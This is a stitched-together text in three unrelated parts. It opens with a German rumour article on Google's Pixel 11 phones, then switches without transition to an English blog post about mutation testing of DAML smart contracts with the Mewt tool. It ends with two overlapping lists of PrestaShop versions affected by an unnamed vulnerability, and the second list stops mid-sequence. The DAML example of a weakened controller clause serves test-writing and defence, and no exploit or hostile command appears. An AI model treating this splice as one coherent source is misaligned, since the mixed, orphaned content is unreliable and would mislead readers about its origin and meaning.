Obwohl konkrete Angaben zu den Objektiven dieser neuen Smartphones noch rar sind, scheint es nun wahrscheinlich, dass das Pixel 11 und das Pixel 11 Pro Fold über ein völlig neues 50-Megapixel-Hauptobjektiv verfügen werden, während das 11 Pro und das 11 Pro XL ein anderes, aber ebenfalls neues 50-Megapixel-Hauptobjektiv sowie ein verbessertes Teleobjektiv gemeinsam nutzen werden.

Sollten sich diese Gerüchte bestätigen, könnte die Kameraausstattung insgesamt einen deutlichen Qualitätssprung verzeichnen, was den neuen Pixel-Modellen sicherlich dabei helfen würde, sich von den aktuellen Kamera-Favoriten von Oppo, Vivo und Xiaomi abzuheben.

Pixel 11: Funktionen, darunter „Pixel Glow“

Eine wachsende Flut von Gerüchten deutet darauf hin, dass Google eine eigene Version der „Glyph“-Leuchten von Nothing einführen will, bekannt als „Pixel Glow“. Da uns die bereits erwähnten Renderings vorliegen, ist natürlich klar, dass das Konzept nicht genau dieselbe Designphilosophie verfolgen wird, die bei den Nothing-Smartphones eher weitläufig umgesetzt ist, sondern vielmehr die Idee, bestimmte Benachrichtigungen durch Lichter anzuzeigen, wenn das Smartphone mit der Vorderseite nach unten liegt.

Mattias Inghe

Die Existenz einer solchen Funktion wurde in einer Beta-Version von Android 17 entdeckt, wobei in den begleitenden Hinweisen erläutert wird, dass die Funktion „durch dezente Licht- und Farbsignale auf der Rückseite Ihres Geräts Sie über wichtige Aktivitäten informiert“. Es ist anzunehmen, dass sich „Pixel Glow“ – basierend auf dem, was wir vom Design des Pixel 11 gesehen haben – entweder auf den Blitzbereich des leicht überarbeiteten Kameraausstellers oder auf das Google-„G“-Logo in der Mitte beschränken wird; wir tippen jedoch auf Ersteres, da in den Hinweisen auch erwähnt wird, dass aktivierte Blitzbenachrichtigungen „Pixel Glow“ vollständig außer Kraft setzen.

Es ist auf jeden Fall eine coole Funktion, da sie manchen Menschen helfen könnte, einen gesünderen Umgang mit ihrem Smartphone zu pflegen. Genau wie bei den „Nothing Glyphs“ sollen diese lichtbasierten Benachrichtigungen Sie nur auf wirklich wichtige Angelegenheiten aufmerksam machen, sodass Sie weniger dazu neigen, sofort durch Ihr Smartphone zu scrollen, sobald eine Benachrichtigung auf dem Bildschirm erscheint.

Da die Funktion mehrfarbige Lichter nutzen wird, ist davon auszugehen, dass Sie bestimmte Benachrichtigungen farblich kennzeichnen können, sodass Sie auf einen Blick genau erkennen, was das Smartphone Ihnen mitteilen möchte – sei es ein eingehender Anruf oder eine Lieferbenachrichtigung.

Google scheint von den Fähigkeiten von „Pixel Glow“ ziemlich überzeugt zu sein, da die Beta-Version auch darauf hindeutet, dass das Konzept in einem kommenden Laptop zum Einsatz kommen wird. Seitdem wurden Googlebooks mit einer „Glowbar“ angekündigt, was uns eine Art Vorschau darauf gibt, wie dies beim Pixel 11 aussehen könnte.

Google

Ein kleiner Vorgeschmack darauf, wie die Idee aussehen könnte, war im Rahmen der Google I/O 2026 zu sehen, wo wir ganz kurz einen Lichtring um ein Pixel 10 Pro XL erkennen konnten. Es ist bestenfalls flüchtig, wirkt aber wie ein möglicher Vorgeschmack von Google darauf, was uns erwartet – auch wenn es Teil eines KI-Abschnitts war, in dem nicht viel real war.

Wir haben Gemini gebeten, ein Konzeptbild für „Pixel Glow“ zu erstellen, und die Ergebnisse sind recht interessant. Nach mehreren Eingabeaufforderungen gelang es uns, Googles charakteristische Farben um die Kameraleiste herum erscheinen zu lassen, und obwohl es sich nach wie vor nur um eine Visualisierung einer möglichen Zukunft handelt, spricht definitiv einiges dafür, dass dies der Rückseite des Smartphones ein zusätzliches Flair verleiht.

Eine andere Möglichkeit wäre, dass es Teil des „G“-Logos ist, doch wir halten dies für weniger wahrscheinlich.

Chris Martin / Foundry

Obwohl die Pixel-11-Reihe von „Pixel Glow“ profitieren soll, scheint es, als wolle Google im Gegenzug etwas weglassen, nämlich den Temperatursensor. Der Temperatursensor, der ursprünglich bereits beim Pixel 8 Pro eingeführt wurde, wirkte oft wie ein unausgereiftes Konzept, zumal es zum Zeitpunkt der Markteinführung keinen offensichtlichen Nutzen gab und der Eindruck entstand, dass die Technologie auf Drittanbieter angewiesen war, um ihre Existenz zu rechtfertigen. Daher stört es uns nicht sonderlich, dass er entfernt wird.

Schade ist jedoch, dass nach Gerüchten, wonach ein vollwertiges Äquivalent zu Apples Face ID in der Entwicklung sei und in der Pixel-11-Reihe sein Debüt feiern sollte, nun offenbar feststeht, dass diese Technologie den Markteintritt komplett verpassen und wahrscheinlich erst in den Modellen des nächsten Jahres zum Einsatz kommen wird.

Das Fehlen einer vollwertigen Gesichtserkennung wird die neuen Pixel-Modelle, insbesondere die höherpreisigen, gegenüber bestimmten Android-Geräten wie dem Honor Magic 8 Pro benachteiligen, das über einen frontseitigen 3D-Scanner verfügt, der Apples „Dynamic Island“ durchaus ähnelt.

Pixel 11: Akku & Aufladen

Zwar wurden die Akku-Spezifikationen für die Pixel-11-Serie noch nicht bekannt gegeben, doch gibt es einen interessanten Hinweis, der bereits in die Gerüchteküche gelangt ist: die Möglichkeit eines austauschbaren Akkus.

Vor allem dank Apple und dessen Beharren auf einem einheitlichen Gehäuse haben so gut wie alle Hersteller das Konzept der austauschbaren Akkus aufgegeben, obwohl diese Funktion einst ein fester Bestandteil von Mobiltelefonen im Allgemeinen war. Einem kürzlich veröffentlichten Patent zufolge scheint es jedoch, als würde Google darüber nachdenken, dieses Konzept wieder aufzugreifen – möglicherweise für das Pixel 11 Fold.

US Patent

Da die faltbaren Pixel-Smartphones deutlich mehr Energie benötigen, um ihre größeren internen Bildschirme mit Strom zu versorgen, könnte ein schnell austauschbarer Akku für intensive Nutzer eine echte Rettung sein. Es lässt sich nicht sagen, ob Google diese Funktion auch für andere Modelle der Pixel-11-Reihe in Betracht zieht, doch wir würden uns sehr darüber freuen – insbesondere, da dies die Smartphones angesichts der nachlassenden Akkuleistung zu einer weitaus praktikableren Langzeitlösung machen würde.

Google könnte zudem schnellere Ladezeiten einführen und die Akkulaufzeit verbessern, um den Anforderungen der verbesserten Hardware und der KI-Funktionen gerecht zu werden.

Google

Abgesehen von diesen Gerüchten besteht die größere Hoffnung, dass Google möglicherweise auch schnellere Ladezeiten einführt und die Akkulaufzeit insgesamt verbessert, um den Anforderungen der verbesserten Hardware und der KI-Funktionen gerecht zu werden.

Schließlich verfügt die Pixel-10-Serie über integriertes magnetisches Qi2-Laden – ähnlich wie Magsafe –, wobei das XL-Modell mit Qi2.2 eine kabellose Ladegeschwindigkeit von 25 Watt erreicht.

Hoffentlich werden alle Pixel-11-Smartphones den schnelleren Qi2.2-Standard sowie die kabelgebundene Ladegeschwindigkeit von 45 Watt des Pixel 10 Pro XL erhalten.

Pixel 11: Software

Es wird erwartet, dass das Software-Erlebnis der Pixel-11-Serie eng mit den neuesten KI-Entwicklungen von Google verzahnt sein wird und Funktionen bietet, die die alltägliche Interaktion mit dem Gerät vereinfachen und verbessern. Dank eines Berichts erfahren wir bereits einiges darüber.

Eine der erwarteten Software-Verbesserungen ist die Funktion „Speak-to-Tweak“, mit der Nutzer sprachgesteuerte Anpassungen an ihren Fotos vornehmen können. Durch das einfache Aussprechen von Befehlen können Nutzer Bildeinstellungen wie Helligkeit, Kontrast und Sättigung optimieren, wodurch die Bildbearbeitung intuitiver und zugänglicher wird.

Darüber hinaus könnte die Pixel-11-Serie über „Sketch-to-Image“ verfügen, ein Tool, das grobe Skizzen in detaillierte Bilder umwandelt, ähnlich wie bei Samsungs Galaxy AI. Diese Funktion dürfte besonders für kreative Nutzer nützlich sein, die aus einfachen Skizzen Kunstwerke oder visuelle Inhalte erstellen möchten.

Eine weitere Software-Innovation mit dem vorläufigen Namen „Magic Mirror“ soll sich Gerüchten zufolge in der Entwicklung befinden, wobei konkrete Details noch unklar sind. Diese Funktion könnte neue KI-basierte Anpassungsoptionen für Fotos oder Videos einführen und damit möglicherweise die Personalisierungs- oder Verschönerungsfunktionen innerhalb der Foto- und Videobearbeitungs-Apps des Geräts verbessern.

Luke Baker

Die Pixel-11-Serie könnte dank der im Tensor-G6-Chip integrierten nanoTPU-Technologie zudem mit einer Reihe von durchgehend aktiven Tools zur Gesundheitsüberwachung auf den Markt kommen. Diese Suite von ML-basierten Funktionen könnte die Erkennung von Schlafapnoe, Schnarchen und Husten sowie sogar die Sturzerkennung umfassen, was das Pixel 11 zu einem leistungsstarken Gerät für gesundheitsbewusste Nutzer macht.

Die Serie könnte zudem neue fitnessorientierte Funktionen wie „Running ML“ enthalten, das Läufern Echtzeit-Feedback liefert, darunter anpassbare Tempovorgaben und eine Gleichgewichtsanalyse, und den Nutzern so hilft, ihre Trainingsroutinen zu optimieren.

Zusätzlich zu diesen Neuerungen könnte das Pixel 11 die Unterstützung für Googles „Quick Phrases“ erweitern – eine Funktion, mit der Nutzer bestimmte Aktionen ausführen können, ohne den Google Assistant vollständig zu aktivieren.

Das Potenzial für verbesserte „Quick Phrases“ könnte alltägliche Aufgaben wie das Annehmen von Anrufen oder die Steuerung von Smart-Home-Geräten vereinfachen und die Smartphones der Pixel-11-Serie zu äußerst reaktionsschnellen Geräten machen, die sich nahtlos in den Alltag der Nutzer integrieren.

Dominik Tomaszewski / Foundry

Wir wissen nun wesentlich mehr darüber, was Google mit Android 17 für das gesamte Ökosystem bereithält. Dazu gehören ein starker Fokus auf die Google-KI, die Aufgaben für Sie übernimmt, sowie Funktionen, die Ihr Wohlbefinden in den Vordergrund stellen, wie „Pause Point“. Smartphones von Google und Samsung werden als erste von der aktualisierten Software profitieren, sodass Fans davon ausgehen können, Android 17 mit der Pixel-11-Reihe direkt nach dem Auspacken nutzen zu können.

Das ist alles, was wir bislang über die Pixel-11-Serie wissen, doch wir werden diesen Artikel bis zur Markteinführung fortlaufend aktualisieren, sobald neue Gerüchte und Leaks bekannt werden.

For a team shipping DAML to production, that count is what a passing test run is actually worth: it puts a number on how much your suite checks, whereas a green run on its own does not.

Why DAML’s coverage reports lie

Test coverage is the most reassuring lie in smart-contract development. Hitting 100% line coverage tells you the test runner walked the code; it does not tell you whether any test would fail if that code stopped doing what it is supposed to. We have been grading test harnesses by how many mutants they kill since at least 2019, and our primer on finding the bugs your tests don’t catch shows how a green suite can still miss the bug that matters.

DAML’s built-in coverage measures execution at the template and choice level: which templates were created and which choices were exercised over the test run. It reports whether each choice was exercised, not what happened inside it. A test that exercises a choice once and asserts nothing about the result reports that choice as covered. The report prints the same green percentage whether the test verifies the outcome or discards it.

How mutation testing works

Instead of asking whether your tests reached the code, mutation testing grades your tests by sabotaging that code. The engine generates mutants, copies of the code that each carry one small deliberate change: a flipped comparison, a removed branch, a dropped party. It then runs your test suite against each one. A mutant that makes the suite fail is caught; a mutant that passes every test survives. Every survivor is a change your tests let through, and each one is either harmless or a potential bug. The harmless ones are equivalent code no test could distinguish or a branch no execution reaches, and you can set those aside. The rest are a to-do list: each one is a specific test you are missing, a case your suite should check but does not, occasionally with a real bug sitting behind the gap. The primer above describes a real audit where a mutation campaign surfaced a high-severity bug that the project’s tests had missed.

Mutation testing forces the unhappy path

A DAML contract encodes rights and obligations between named parties: who holds what, who owes what to whom, and who must authorize each step. A party is not an anonymous address. It represents a real organization or person, and the contract is the rulebook for how those parties interact, including which of them can take which action, what each is allowed to see, and what stays private between them.

Authorization is how that rulebook is enforced: who may take which action. It is also easy to get wrong in ordinary ways, such as a typo in a controller clause, a missing party, an extra one left over from a refactor. Every combination type-checks, so nothing rejects it before it ships. A static analyzer can flag suspicious patterns, but it has no way to know which party should hold which authority on your contract. That knowledge lives in your specification, and for most projects, the only executable form of the specification is the test suite. Happy-path tests supply every signature the contract asks for and confirm the transaction succeeds. They never try the negative case—removing a required signature and checking that the ledger rejects the transaction—so they never actually test whether that signature was required at all. If the tests don’t encode that rule, nothing downstream can recover it. Mutation testing is what tells you whether they do.

A green test run tells you your tests passed today. Mutation testing asks the harder question: would your tests catch a mistake, now or after the next code change? Where the answer is no, you have found a test case worth writing.

What Mewt adds for DAML

Mewt parses every language it supports with a tree-sitter grammar. As of mid-2026, there is no maintained tree-sitter grammar for DAML, so we reused the upstream tree-sitter-haskell grammar. DAML is Haskell-shaped, but its contract constructs (template, choice, controller, and signatory) are not Haskell, and the grammar parses them as error-recovered subtrees. That matters less than it sounds. The common mutations still work on DAML’s ordinary expressions, so Mewt swaps arithmetic and comparison operators, flips Booleans, and removes branches just as it does in any other language, with only small adjustments where DAML’s surface syntax differs (DAML writes /= where most languages write !=). We got most of the value of a from-scratch grammar without building one.

The new engineering went into DAML’s authorization primitives, where the authorization bugs from the previous section live. Mewt adds two DAML-specific mutations:

• Controller party swap (CPS in Mewt’s output): replace one party in a controller clause with another party that is in scope at that site.

• Controller party removal (CPR): drop one party from a multi-party controller list.

Both target the same question: if the set of parties allowed to exercise this choice silently changed, would any test fail? They are a deliberately small starting set aimed at the bug class above, and more DAML-specific mutations are in the pipeline.

Driving a campaign needs no new harness. A short mewt.toml names the files to mutate and the test command (dpm test for a Daml 3 project), and mewt run does the rest, reporting each mutant as caught or surviving. The setup is deliberately small: trying it on your own project costs minutes, and we encourage exactly that.

What a surviving mutant looks like

Picture a conditional payment between a buyer and a seller: the buyer sets money aside for the goods, and paying it out to the seller requires both parties to sign off. The buyer’s signature is the delivery confirmation. In DAML, that policy is one line: the controller line on the Release choice.

template ConditionalPayment
 with
 buyer : Party
 seller : Party
 amount : Decimal
 where
 signatory buyer
 observer seller

 choice Release : ()
 with
 paid : Decimal
 controller buyer, seller
 do
 assert (paid == amount)

A typical happy-path test creates the payment and has both parties approve the release. The actAs buyer <> actAs seller line submits the command with both parties’ authority:

testHappyPath : Script ()
testHappyPath = script do
 buyer <- allocateParty "Buyer"
 seller <- allocateParty "Seller"
 payment <- submit buyer do
 createCmd ConditionalPayment with
 buyer
 seller
 amount = 100.0
 submit (actAs buyer <> actAs seller) do
 exerciseCmd payment Release with paid = 100.0
 pure ()

The test passes, and by the usual measure the suite looks complete: running dpm test with coverage reporting enabled shows full coverage.

$ dpm test --show-coverage --coverage-ignore-choice Archive
testHappyPath: ok, 0 active contracts, 2 transactions.
- Internal templates: 1 defined, 1 (100.0%) created
- Internal template choices: 1 defined, 1 (100.0%) exercised

The --coverage-ignore-choice Archive flag deserves a word. Every DAML template automatically gets an implicit Archive choice. It is not part of the business logic under test, so we exclude it for simplicity. With it included, this one-choice template would report 50% even though the test exercises everything we wrote.

Run Mewt on the project and it generates seven mutants. The test suite catches three of them. Four survive. Here is one of the survivors, shown as the diff Mewt reports:

 choice Release : ()
 with
 paid : Decimal
- controller buyer, seller
+ controller seller
 do
 assert (paid == amount)

Re-run the test suite against this mutant. It still passes, and coverage still reports 100%. The contract claims releasing the buyer’s money requires both parties. The mutant lets the seller release it to themselves without the buyer ever confirming delivery. The tests report green either way. Only a test that tries the forbidden path, the seller acting alone, expecting the ledger to reject it, can tell the two contracts apart. No such test exists, and the mutation score says so. (The other three survivors tell the same story from different angles: the buyer-alone twin of this mutant, and two mutants that weaken the paid == amount check to <= and >=, which survive because the test only ever pays the exact amount.)

Step back, and this is the whole point of the exercise. Your tests are the executable specification of your code. Here the implementation changed, one required approval instead of two, and the specification did not react. That means the expected behavior was underspecified all along: whether both the buyer and the seller have to sign off, or just one of them, was never actually written down anywhere a machine could check. Every controller combination type-checks, and coverage reports 100% for all of them. The only place “both must sign” can exist in checkable form is a test that expects the weakened contract to fail, and writing that test is exactly what the surviving mutant tells you to do.

Limitations and what comes next

Mewt is not magic. Two limits are worth knowing before you run your first campaign: not every survivor is a real gap, and a campaign costs time. The roadmap that follows them is where we are taking the work next.

Equivalent mutants exist: some survivors turn out to be semantically identical to the original program, so no test could ever catch them. Few public DAML codebases on GitHub come with a full test suite, so we are glad OpenZeppelin open-sourced its canton-stablecoin reference implementation. Mewt generated hundreds of mutants for it. We ran the highest-priority ones through the existing test suite, and seven of those survived. Three were equivalent mutants or sat behind a guard that no path reaches, and the other four were genuine missing test cases. None of the survivors we reviewed pointed to a bug. Such a clean result is what you want when you run Mewt on your own code, and triaging them took minutes.

One of those equivalent mutants shows what that means concretely. A helper computed accrued debt:

accrueDebt currentDebt lastAccrual now annualRate =
 if currentDebt == 0.0 || annualRate == 0.0 then currentDebt
 else
 let elapsedYears = ... -- elapsed time as a fraction of a year
 in currentDebt * (1.0 + annualRate * elapsedYears)

Mewt forced the if to always take the else branch. No test failed, and none ever could: when the debt is zero, the formula multiplies by zero and returns zero, and when the rate is zero, it multiplies the debt by one and returns it unchanged. The guard is a shortcut that returns the value the formula already produces, so removing it changes nothing. Mewt suppresses the equivalent mutants it can detect. The rest need a reviewer’s judgment to dismiss.

Campaigns cost time in two places. The machine part: Mewt runs your test suite once per mutant, so the wall-clock cost is roughly the number of mutants times how long one test run takes, plus a rebuild if your project needs one. That is minutes on a small codebase and hours on a large one or a slow suite, so the cadence that works is nightly or weekly rather than per-commit. The human part: someone has to look at the survivors. We are working on that front from several directions at Trail of Bits, including our mutation-testing skill that helps configure campaigns for your project, and Trailmark with its genotoxic triage skill. None of these understand DAML yet, but the direction is clear: given the right harness and tools, the time-consuming parts of a campaign can be handed to AI agents. The effort is modest and the payoff is concrete: each genuine survivor is a specific test you can write, and every test you add makes your suite enforce one more guarantee your contracts are supposed to make.

Also on the roadmap: choice-consumption mutations (consuming vs nonconsuming) sit cleanly on top of the controller-mutation scaffolding and target a bug class Mewt does not yet reach.

Dive in

Install Mewt from the repository, point a mewt.toml at your project and its test command, and mewt run. The quickstart in the README covers the rest. DAML works out of the box. Everything here ran on Daml 3.4 with dpm, but Mewt just drives whatever test command you configure, so Daml 2 projects using the daml assistant work the same way.

Mutation testing complements the rest of your security stack, the type checkers, linters, and property tests you already run, rather than replacing any of it.

If you’re building on Canton, we help teams with security reviews of DAML applications and with the way the code gets built: working directly with your engineers on the development process itself. Contact us.

This vulnerability affects the following application versions:

• PrestaShop 1.5.6.0
• PrestaShop 1.5.6.1
• PrestaShop 1.5.6.2
• PrestaShop 1.5.6.3
• PrestaShop 1.6.0.1
• PrestaShop 1.6.0.1 alpha 1
• PrestaShop 1.6.0.2
• PrestaShop 1.6.0.2 alpha 2
• PrestaShop 1.6.0.3
• PrestaShop 1.6.0.3 beta 1
• PrestaShop 1.6.0.4
• PrestaShop 1.6.0.4 RC1
• PrestaShop 1.6.0.5
• PrestaShop 1.6.0.6
• PrestaShop 1.6.0.7
• PrestaShop 1.6.0.8
• PrestaShop 1.6.0.9
• PrestaShop 1.6.0.10
• PrestaShop 1.6.0.11
• PrestaShop 1.6.0.12
• PrestaShop 1.6.0.13
• PrestaShop 1.6.0.14
• PrestaShop 1.6.1.0
• PrestaShop 1.6.1.0 RC4
• PrestaShop 1.6.1.0 RC5
• PrestaShop 1.6.1.1
• PrestaShop 1.6.1.1 RC1
• PrestaShop 1.6.1.1 RC2
• PrestaShop 1.6.1.2
• PrestaShop 1.6.1.2 RC1
• PrestaShop 1.6.1.2 RC2
• PrestaShop 1.6.1.2 RC3
• PrestaShop 1.6.1.2 RC4
• PrestaShop 1.6.1.3
• PrestaShop 1.6.1.3 RC1
• PrestaShop 1.6.1.4
• PrestaShop 1.6.1.5
• PrestaShop 1.6.1.6
• PrestaShop 1.6.1.7
• PrestaShop 1.6.1.8
• PrestaShop 1.6.1.9
• PrestaShop 1.6.1.10
• PrestaShop 1.6.1.11
• PrestaShop 1.6.1.11 beta 1
• PrestaShop 1.6.1.11-beta.1.0
• PrestaShop 1.6.1.12
• PrestaShop 1.6.1.13
• PrestaShop 1.6.1.14
• PrestaShop 1.6.1.15
• PrestaShop 1.6.1.16
• PrestaShop 1.6.1.17
• PrestaShop 1.6.1.18
• PrestaShop 1.6.1.19
• PrestaShop 1.6.1.20
• PrestaShop 1.6.1.21
• PrestaShop 1.6.1.22
• PrestaShop 1.6.1.23
• PrestaShop 1.6.1.24
• PrestaShop 1.7.0.0
• PrestaShop 1.7.0.0 alpha3
• PrestaShop 1.7.0.0 alpha4
• PrestaShop 1.7.0.0 beta1
• PrestaShop 1.7.0.0 beta2
• PrestaShop 1.7.0.0 beta3
• PrestaShop 1.7.0.0 RC0
• PrestaShop 1.7.0.0 RC1
• PrestaShop 1.7.0.0 RC2
• PrestaShop 1.7.0.0 RC3
• PrestaShop 1.7.0.1
• PrestaShop 1.7.0.2
• PrestaShop 1.7.0.3
• PrestaShop 1.7.0.4
• PrestaShop 1.7.0.5
• PrestaShop 1.7.0.6
• PrestaShop 1.7.1.0
• PrestaShop 1.7.1.0 beta1
• PrestaShop 1.7.1.1
• PrestaShop 1.7.1.2
• PrestaShop 1.7.2.0
• PrestaShop 1.7.2.0 RC 1
• PrestaShop 1.7.2.0-RC.1.0
• PrestaShop 1.7.2.1
• PrestaShop 1.7.2.2
• PrestaShop 1.7.2.3
• PrestaShop 1.7.2.4
• PrestaShop 1.7.2.5
• PrestaShop 1.7.3.0
• PrestaShop 1.7.3.0 beta 1
• PrestaShop 1.7.3.0 RC 1
• PrestaShop 1.7.3.1
• PrestaShop 1.7.3.2
• PrestaShop 1.7.3.3
• PrestaShop 1.7.3.4
• PrestaShop 1.7.4.0
• PrestaShop 1.7.4.0 beta 1
• PrestaShop 1.7.4.1
• PrestaShop 1.7.4.2
• PrestaShop 1.7.4.3
• PrestaShop 1.7.4.4
• PrestaShop 1.7.5.0
• PrestaShop 1.7.5.0 beta 1
• PrestaShop 1.7.5.0 RC 1
• PrestaShop 1.7.5.0-beta.1
• PrestaShop 1.7.5.0-RC.1
• PrestaShop 1.7.5.1
• PrestaShop 1.7.5.2
• PrestaShop 1.7.6.0
• PrestaShop 1.7.6.0 beta 1
• PrestaShop 1.7.6.0 RC 1
• PrestaShop 1.7.6.0 RC 2
• PrestaShop 1.7.6.0-beta.1
• PrestaShop 1.7.6.0-RC.1
• PrestaShop 1.7.6.0-RC.2
• PrestaShop 1.7.6.1
• PrestaShop 1.7.6.2
• PrestaShop 1.7.6.3
• PrestaShop 1.7.6.4
• PrestaShop 1.7.6.4 1
• PrestaShop 1.7.6.5
• PrestaShop 1.7.6.5 1
• PrestaShop 1.7.6.6
• PrestaShop 1.7.6.7
• PrestaShop 1.7.6.8
• PrestaShop 1.7.6.9
• PrestaShop 1.7.7.0
• PrestaShop 1.7.7.0 beta 1
• PrestaShop 1.7.7.0 beta 2
• PrestaShop 1.7.7.0 RC 1
• PrestaShop 1.7.7.0-beta.1
• PrestaShop 1.7.7.0-beta.2
• PrestaShop 1.7.7.0-RC.1
• PrestaShop 1.7.7.1
• PrestaShop 1.7.7.2
• PrestaShop 1.7.7.3
• PrestaShop 1.7.7.4
• PrestaShop 1.7.7.5
• PrestaShop 1.7.7.6
• PrestaShop 1.7.7.7
• PrestaShop 1.7.7.8
• PrestaShop 1.7.7.8 1
• PrestaShop 1.7.8.0
• PrestaShop 1.7.8.0 beta 1
• PrestaShop 1.7.8.0 1
• PrestaShop 1.7.8.0 RC 1
• PrestaShop 1.7.8.0-beta.1
• PrestaShop 1.7.8.0-RC.1
• PrestaShop 1.7.8.1
• PrestaShop 1.7.8.2
• PrestaShop 1.7.8.2 1
• PrestaShop 1.7.8.3
• PrestaShop 1.7.8.4
• PrestaShop 1.7.8.5
• PrestaShop 1.7.8.6
• PrestaShop 1.7.8.7
• PrestaShop 1.7.8.7 1
• PrestaShop 1.7.8.8
• PrestaShop 1.7.8.9
• PrestaShop 1.7.8.10
• PrestaShop 1.7.8.11
• PrestaShop 8.0.0
• PrestaShop 8.0.1
• PrestaShop 8.0.2
• PrestaShop 8.0.3
• PrestaShop 8.0.4
• PrestaShop 8.0.5
• PrestaShop 8.1.0
• PrestaShop 8.1.1
• PrestaShop 8.1.2
• PrestaShop 8.1.3
• PrestaShop 8.1.4
• PrestaShop 8.1.5
• PrestaShop 8.1.6
• PrestaShop 8.1.7
• PrestaShop 8.2.0
• PrestaShop 8.2.1
• PrestaShop 8.2.2
• PrestaShop 8.2.3
• PrestaShop 8.2.4
• PrestaShop 9.0.0
• PrestaShop 9.0.0-1.0-RC.1
• PrestaShop 9.0.1
• PrestaShop 9.0.1-1.0
• PrestaShop 9.0.2
• PrestaShop 9.0.2-2.0
• PrestaShop 9.0.3
• PrestaShop 9.0.3-3.0
• PrestaShop 9.1.0-3.0-beta.1
• PrestaShop 9.1.0-4.0-RC.1

This vulnerability affects the following application versions:

• PrestaShop 1.6.0.1
• PrestaShop 1.6.0.1 alpha 1
• PrestaShop 1.6.0.2
• PrestaShop 1.6.0.2 alpha 2
• PrestaShop 1.6.0.3
• PrestaShop 1.6.0.3 beta 1
• PrestaShop 1.6.0.4
• PrestaShop 1.6.0.4 RC1
• PrestaShop 1.6.0.5
• PrestaShop 1.6.0.6
• PrestaShop 1.6.0.7
• PrestaShop 1.6.0.8
• PrestaShop 1.6.0.9
• PrestaShop 1.6.0.10
• PrestaShop 1.6.0.11
• PrestaShop 1.6.0.12
• PrestaShop 1.6.0.13
• PrestaShop 1.6.0.14
• PrestaShop 1.6.1.0
• PrestaShop 1.6.1.0 RC4
• PrestaShop 1.6.1.0 RC5
• PrestaShop 1.6.1.1
• PrestaShop 1.6.1.1 RC1
• PrestaShop 1.6.1.1 RC2
• PrestaShop 1.6.1.2
• PrestaShop 1.6.1.2 RC1
• PrestaShop 1.6.1.2 RC2
• PrestaShop 1.6.1.2 RC3
• PrestaShop 1.6.1.2 RC4
• PrestaShop 1.6.1.3
• PrestaShop 1.6.1.3 RC1
• PrestaShop 1.6.1.4
• PrestaShop 1.6.1.5
• PrestaShop 1.6.1.6
• PrestaShop 1.6.1.7
• PrestaShop 1.6.1.8
• PrestaShop 1.6.1.9
• PrestaShop 1.6.1.10
• PrestaShop 1.6.1.11
• PrestaShop 1.6.1.11 beta 1
• PrestaShop 1.6.1.11-beta.1.0
• PrestaShop 1.6.1.12
• PrestaShop 1.6.1.13
• PrestaShop 1.6.1.14
• PrestaShop 1.6.1.15
• PrestaShop 1.6.1.16
• PrestaShop 1.6.1.17
• PrestaShop 1.6.1.18
• PrestaShop 1.6.1.19
• PrestaShop 1.6.1.20
• PrestaShop 1.6.1.21
• PrestaShop 1.6.1.22
• PrestaShop 1.6.1.23
• PrestaShop 1.6.1.24
• PrestaShop 1.7.0.0
• PrestaShop 1.7.0.0 alpha3
• PrestaShop 1.7.0.0 alpha4
• PrestaShop 1.7.0.0 beta1
• PrestaShop 1.7.0.0 beta2
• PrestaShop 1.7.0.0 beta3
• PrestaShop 1.7.0.0 RC0
• PrestaShop 1.7.0.0 RC1
• PrestaShop 1.7.0.0 RC2
• PrestaShop 1.7.0.0 RC3
• PrestaShop 1.7.0.1
• PrestaShop 1.7.0.2
• PrestaShop 1.7.0.3
• PrestaShop 1.7.0.4
• PrestaShop 1.7.0.5
• PrestaShop 1.7.0.6
• PrestaShop 1.7.1.0
• PrestaShop 1.7.1.0 beta1
• PrestaShop 1.7.1.1
• PrestaShop 1.7.1.2
• PrestaShop 1.7.2.0
• PrestaShop 1.7.2.0 RC 1
• PrestaShop 1.7.2.0-RC.1.0
• PrestaShop 1.7.2.1
• PrestaShop 1.7.2.2
• PrestaShop 1.7.2.3
• PrestaShop 1.7.2.4
• PrestaShop 1.7.2.5
• PrestaShop 1.7.3.0
• PrestaShop 1.7.3.0 beta 1
• PrestaShop 1.7.3.0 RC 1
• PrestaShop 1.7.3.1
• PrestaShop 1.7.3.2
• PrestaShop 1.7.3.3
• PrestaShop 1.7.3.4
• PrestaShop 1.7.4.0
• PrestaShop 1.7.4.0 beta 1
• PrestaShop 1.7.4.1
• PrestaShop 1.7.4.2
• PrestaShop 1.7.4.3
• PrestaShop 1.7.4.4
• PrestaShop 1.7.5.0
• PrestaShop 1.7.5.0 beta 1
• PrestaShop 1.7.5.0 RC 1
• PrestaShop 1.7.5.0-beta.1
• PrestaShop 1.7.5.0-RC.1
• PrestaShop 1.7.5.1
• PrestaShop 1.7.5.2
• PrestaShop 1.7.6.0
• PrestaShop 1.7.6.0 beta 1
• PrestaShop 1.7.6.0 RC 1
• PrestaShop 1.7.6.0 RC 2
• PrestaShop 1.7.6.0-beta.1
• PrestaShop 1.7.6.0-RC.1
• PrestaShop 1.7.6.0-RC.2
• PrestaShop 1.7.6.1
• PrestaShop 1.7.6.2
• PrestaShop 1.7.6.3
• PrestaShop 1.7.6.4
• PrestaShop 1.7.6.4 1
• PrestaShop 1.7.6.5
• PrestaShop 1.7.6.5 1
• PrestaShop 1.7.6.6
• PrestaShop 1.7.6.7
• PrestaShop 1.7.6.8
• PrestaShop 1.7.6.9
• PrestaShop 1.7.7.0
• PrestaShop 1.7.7.0 beta 1
• PrestaShop 1.7.7.0 beta 2
• PrestaShop 1.7.7.0 RC 1
• PrestaShop 1.7.7.0-beta.1
• PrestaShop 1.7.7.0-beta.2
• PrestaShop 1.7.7.0-RC.1
• PrestaShop 1.7.7.1
• PrestaShop 1.7.7.2
• PrestaShop 1.7.7.3
• PrestaShop 1.7.7.4
• PrestaShop 1.7.7.5
• PrestaShop 1.7.7.6
• PrestaShop 1.7.7.7
• PrestaShop 1.7.7.8
• PrestaShop 1.7.7.8 1
• PrestaShop 1.7.8.0
• PrestaShop 1.7.8.0 beta 1
• PrestaShop 1.7.8.0 1
• PrestaShop 1.7.8.0 RC 1
• PrestaShop 1.7.8.0-beta.1
• PrestaShop 1.7.8.0-RC.1
• PrestaShop 1.7.8.1
• PrestaShop 1.7.8.2
• PrestaShop 1.7.8.2 1
• PrestaShop 1.7.8.3
• PrestaShop 1.7.8.4
• PrestaShop 1.7.8.5
• PrestaShop 1.7.8.6
• PrestaShop 1.7.8.7
• PrestaShop 1.7.8.7 1
• PrestaShop 1.7.8.8
• PrestaShop 1.7.8.9
• PrestaShop 1.7.8.10
• PrestaShop 1.7.8.11
• PrestaShop 8.0.0
